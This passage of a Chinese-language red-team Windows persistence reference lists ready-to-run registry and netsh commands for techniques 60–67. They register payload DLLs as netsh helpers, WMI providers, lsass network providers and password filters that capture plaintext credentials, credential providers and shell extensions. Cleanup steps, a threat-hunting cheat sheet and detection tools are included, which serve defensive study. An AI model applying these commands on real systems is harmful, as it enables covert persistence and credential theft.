"C:\lab\lsp_payload.dll" # 验证已安装的 LSP netsh winsock show catalog # 按 catalog ID 移除(从 show catalog 输出中获取 ID) netsh winsock remove provider # 终极选项 — 重置整个 Winsock catalog netsh winsock reset ``` ## 60. netsh Helper DLL **TTP:** T1574.001 | **管理员权限:** ✅ | **APT:** 自定义/红队 将 DLL 注册为 `netsh` helper —— 每次执行 `netsh.exe` 时都会被加载。`netsh` 是一个受信任的、由微软签名的二进制文件。 ``` :: Register helper DLL netsh add helper C:\lab\payload.dll :: Verify registered helpers netsh show helper :: Registry path for netsh helpers :: HKLM\SOFTWARE\Microsoft\NetSh :: Cleanup reg delete "HKLM\SOFTWARE\Microsoft\NetSh" /v /f ``` ## 61. WMI Provider DLL **TTP:** T1546.003 | **管理员权限:** ✅ | **APT:** APT29, Turla 将 DLL 注册为 WMI 提供程序 —— 加载到 `wmiprvse.exe` (以 SYSTEM 身份运行) 中。在针对已注册类的 WMI 查询时触发。 ``` # 步骤 1:注册指向你的 DLL 的 CLSID reg add "HKLM\SOFTWARE\Classes\CLSID\{AABBCCDD-0000-0000-0000-000000000001}\InprocServer32" /ve /t REG_SZ /d "C:\lab\payload.dll" /f reg add "HKLM\SOFTWARE\Classes\CLSID\{AABBCCDD-0000-0000-0000-000000000001}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f # 步骤 2:创建并注册 MOF 文件 $mof = @" #pragma namespace("\\\\.\\\root\\cimv2") instance of __Win32Provider as $P { Name = "Evil"; CLSID = "{AABBCCDD-0000-0000-0000-000000000001}"; DefaultMachineName = NULL; ImpersonatorCLSID = NULL; InitializationReentrancy = 0; PerUserInitialization = FALSE; Pure = TRUE; UnloadTimeout = NULL; }; instance of __InstanceProviderRegistration { Provider = $P; SupportsPut = TRUE; SupportsGet = TRUE; SupportsDelete = TRUE; SupportsEnumeration = TRUE; }; "@ $mof | Out-File "C:\lab\evil_provider.mof" -Encoding ASCII mofcomp.exe C:\lab\evil_provider.mof # 验证 reg query "HKLM\SOFTWARE\Classes\CLSID\{AABBCCDD-0000-0000-0000-000000000001}" # 清理 $mofRemove = "#pragma namespace(`"\\\\.\\\root\\cimv2`")`n#pragma deleteclass(`"EvilClass`", NOFAIL)" $mofRemove | Out-File "C:\lab\remove.mof" -Encoding ASCII mofcomp.exe C:\lab\remove.mof reg delete "HKLM\SOFTWARE\Classes\CLSID\{AABBCCDD-0000-0000-0000-000000000001}" /f ``` ## 62. 网络提供程序 DLL **TTP:** T1556.008 | **管理员权限:** ✅ | **APT:** APT28, Lazarus Group 将 DLL 注册为 Windows 网络提供程序 —— 在启动时加载到 `lsass.exe` 中。在所有登录事件期间被调用;可以明文形式捕获凭据。需要重启。 ``` :: Step 1: Register network provider service reg add "HKLM\SYSTEM\CurrentControlSet\Services\EvilNP" /v Type /t REG_DWORD /d 32 /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\EvilNP\NetworkProvider" /v Name /t REG_SZ /d "EvilNP" /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\EvilNP\NetworkProvider" /v ProviderPath /t REG_EXPAND_SZ /d "C:\lab\payload.dll" /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\EvilNP\NetworkProvider" /v Class /t REG_DWORD /d 2 /f :: Step 2: Check current provider order first reg query "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" /v ProviderOrder :: Step 3: Append EvilNP to provider order reg add "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" /v ProviderOrder /t REG_SZ /d "RDPNP,LanmanWorkstation,webclient,EvilNP" /f :: Verify reg query "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" :: Cleanup reg delete "HKLM\SYSTEM\CurrentControlSet\Services\EvilNP" /f :: Restore ProviderOrder to original value (remove EvilNP entry) ``` ## 63. 密码过滤器 DLL (SAM) **TTP:** T1556.002 | **管理员权限:** ✅ | **APT:** APT28, Lazarus Group 将 DLL 注册为密码更改通知过滤器 —— 永久加载到 `lsass.exe` 中。在每次密码更改事件时接收**明文**密码。 ``` :: Step 1: Copy DLL to System32 (no path in registry — loaded from System32) copy "C:\lab\payload.dll" "C:\Windows\System32\passfilt_evil.dll" :: Step 2: Check current Notification Packages value reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" :: Step 3: Append your DLL name (no extension) to existing value reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli\0passfilt_evil" /f :: Takes effect after reboot :: Verify reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" :: Cleanup reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli" /f del "C:\Windows\System32\passfilt_evil.dll" ``` ## 64. WinRT DLL 激活 (HKCU) **TTP:** T1574.002 | **管理员权限:** ❌ | **APT:** 自定义/红队 覆盖 HKCU 中的 WinRT (Windows 运行时) 可激活类 DLL 路径 —— 不需要管理员权限。在现代/UWP 应用程序激活目标类 (例如 Toast 通知) 时触发。 ``` # 目标为频繁触发的 WinRT 类 $className = "Windows.UI.Notifications.ToastNotificationManager" reg add "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId\$className" /v DllPath /t REG_SZ /d "C:\lab\payload.dll" /f reg add "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId\$className" /v Threading /t REG_DWORD /d 3 /f reg add "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId\$className" /v TrustLevel /t REG_DWORD /d 0 /f reg add "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId\$className" /v ActivationType /t REG_DWORD /d 1 /f # 验证 reg query "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId\$className" # 清理 reg delete "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId\$className" /f ``` ## 65. 凭据提供程序 DLL **TTP:** T1547.004 | **管理员权限:** ✅ | **APT:** APT28, Turla 将 DLL 注册为 Windows 凭据提供程序 —— 在桌面加载之前,加载到登录屏幕的 `winlogon.exe` 中。可以拦截所有用户凭据输入。 ``` :: Step 1: Copy DLL to System32 copy "C:\lab\payload.dll" "C:\Windows\System32\evil_cp.dll" :: Step 2: Register the Credential Provider CLSID reg add "HKLM\SOFTWARE\Classes\CLSID\{EVILCP01-0000-0000-0000-000000000001}" /ve /t REG_SZ /d "EvilCP" /f reg add "HKLM\SOFTWARE\Classes\CLSID\{EVILCP01-0000-0000-0000-000000000001}\InprocServer32" /ve /t REG_SZ /d "evil_cp.dll" /f reg add "HKLM\SOFTWARE\Classes\CLSID\{EVILCP01-0000-0000-0000-000000000001}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f :: Step 3: Register it as a Credential Provider reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{EVILCP01-0000-0000-0000-000000000001}" /ve /t REG_SZ /d "EvilCP" /f :: Verify installed providers reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers" :: Cleanup reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{EVILCP01-0000-0000-0000-000000000001}" /f reg delete "HKLM\SOFTWARE\Classes\CLSID\{EVILCP01-0000-0000-0000-000000000001}" /f del "C:\Windows\System32\evil_cp.dll" ``` ## 66. Shell 扩展 DLL (上下文菜单) **TTP:** T1574.001 | **管理员权限:** ❌ | **APT:** Turla, APT28 在 HKCU 中将 DLL 注册为 shell 上下文菜单处理程序 —— 每当用户右键单击任何文件时,都会加载到 `explorer.exe` 中。不需要管理员权限;HKCU 会覆盖 HKLM。 ``` $guid = "{SHELLEXT-1337-1337-1337-SHELLEXT13370}" # 为所有文件 (*) 注册上下文菜单处理程序 reg add "HKCU\Software\Classes\*\shellex\ContextMenuHandlers\EvilMenu" /ve /t REG_SZ /d $guid /f reg add "HKCU\Software\Classes\CLSID\$guid" /ve /t REG_SZ /d "EvilShellExt" /f reg add "HKCU\Software\Classes\CLSID\$guid\InprocServer32" /ve /t REG_SZ /d "C:\lab\payload.dll" /f reg add "HKCU\Software\Classes\CLSID\$guid\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f # 可选:thumbnail handler — 在打开包含 PDF 文件的文件夹时触发 reg add "HKCU\Software\Classes\.pdf\shellex\{E357FCCD-A995-4576-B01F-234630154E96}" /ve /t REG_SZ /d $guid /f # 批准扩展(Windows 10+ 需要) reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved" /v $guid /t REG_SZ /d "EvilShellExt" /f # 验证 reg query "HKCU\Software\Classes\*\shellex\ContextMenuHandlers\EvilMenu" # 清理 reg delete "HKCU\Software\Classes\*\shellex\ContextMenuHandlers\EvilMenu" /f reg delete "HKCU\Software\Classes\CLSID\$guid" /f reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved" /v $guid /f ``` ## 67. DiagTrack DLL 劫持 **TTP:** T1574.002 | **管理员权限:** ❌ | **APT:** 自定义/红队 滥用 DiagTrack (Windows 遥测) 扩展路径 —— 将与预期插件名称匹配的 DLL 投放到用户可写的 Diagnostics 目录中。在遥测收集事件时触发。 ``` # 步骤 1:检查哪些 DiagTrack 路径存在且为用户可写 $diagPaths = @( "$env:ProgramData\Microsoft\Diagnosis\ETLLogs", "$env:LOCALAPPDATA\Microsoft\Windows\Diagnostic", "$env:APPDATA\Microsoft\Diagnosis" ) foreach ($p in $diagPaths) { if (Test-Path $p) { Write-Host "[EXISTS] $p" -ForegroundColor Yellow } } # 步骤 2:在可写路径中释放带有 DiagTrack plugin 名称的 DLL Copy-Item "C:\lab\payload.dll" "$env:LOCALAPPDATA\Microsoft\Windows\Diagnostic\DiagPackage.dll" # 步骤 3:注册扩展路径(HKCU — 无需管理员) reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack" /v ExtensionDll /t REG_SZ /d "$env:LOCALAPPDATA\Microsoft\Windows\Diagnostic\DiagPackage.dll" /f # 验证 reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack" # 清理 reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack" /v ExtensionDll /f Remove-Item "$env:LOCALAPPDATA\Microsoft\Windows\Diagnostic\DiagPackage.dll" ``` ## 威胁狩猎备忘单 ``` # === 启动 / RUN 键 === reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" Get-CimInstance Win32_StartupCommand | Select Name, Command, Location, User # === 计划任务 === Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft*" } | Format-Table TaskName, TaskPath, State schtasks /query /fo LIST /v | findstr /i "system" Get-ChildItem "C:\Windows\System32\Tasks\" -Recurse -File | Where-Object { $_.FullName -notlike "*Microsoft*" } # === WINLOGON === reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" # === IFEO === reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s # === 服务 === Get-Service | Where-Object {$_.StartType -eq "Automatic"} | Select Name, DisplayName, Status sc qc FakeSvc # === WMI 订阅 === Get-WmiObject -Namespace "root\subscription" -Class __EventFilter Get-WmiObject -Namespace "root\subscription" -Class CommandLineEventConsumer Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding # === BITS 作业 === bitsadmin /list /allusers /verbose # === APPINIT DLLs === reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs # === LSA / SSP === reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" # === AMSI PROVIDERS === reg query "HKLM\SOFTWARE\Microsoft\AMSI\Providers" # === 网络提供程序 === reg query "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" reg query "HKLM\SYSTEM\CurrentControlSet\Services" /s | findstr /i "NetworkProvider" # === COM / HKCU 覆盖 === reg query "HKCU\Software\Classes\CLSID" /s # === COR_PROFILER === reg query "HKCU\Environment" /v COR_PROFILER_PATH reg query "HKCU\Environment" /v COR_ENABLE_PROFILING # === 打印处理器 === reg query "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors" # === SHELL 扩展 === reg query "HKCU\Software\Classes\*\shellex\ContextMenuHandlers" reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved" # === 凭据提供程序 === reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers" # === WINSOCK LSP === netsh winsock show catalog # === NETSH HELPERS === netsh show helper # === WINRT ACTIVATION === reg query "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId" # === 可疑 REG 键(混淆 loader) === reg query "HKCU\Software\Microsoft\WindowsUpdate" reg query "HKCU\Software\Microsoft\Sync" reg query "HKCU\Software\Microsoft\EdgeUpdate" reg query "HKCU\Software\Microsoft\Cfg" # === POWERSHELL PROFILE === cat "$HOME\Documents\WindowsPowerShell\profile.ps1" # === 用户 === net user net localgroup "Administrators" ``` ## 检测工具参考 | 工具 | 用途 | |------|-----| | **Autoruns (Sysinternals)** | 完整的持久化枚举 —— 黄金标准 | | **Process Monitor** | 实时注册表/文件写入检测;寻找幽灵 DLL 劫持机会 | | **Sysmon** | 记录进程创建、注册表更改、DLL 加载、网络连接 | | **Get-CimInstance** | 基于 PowerShell 的 WMI 枚举 | | **bitsadmin /list** | BITS 作业枚举 | | **wmic startup** | 启动项枚举 (旧版) | | **netsh winsock show catalog** | LSP DLL 枚举 | | **netsh show helper** | netsh helper DLL 枚举 |
标签:AI合规, APT攻击, Cloudflare, DAST, IT安全, MITRE ATT&CK, Windows持久化, 嗅探欺骗, 威胁情报, 子域名枚举, 安全培训, 安全攻防, 客户端加密, 开发者工具, 恶意软件分析, 攻击溯源, 数据展示, 权限维持, 注册表劫持, 系统安全, 红队, 网络安全, 自启动项, 计划任务, 隐私保护, 黑客技术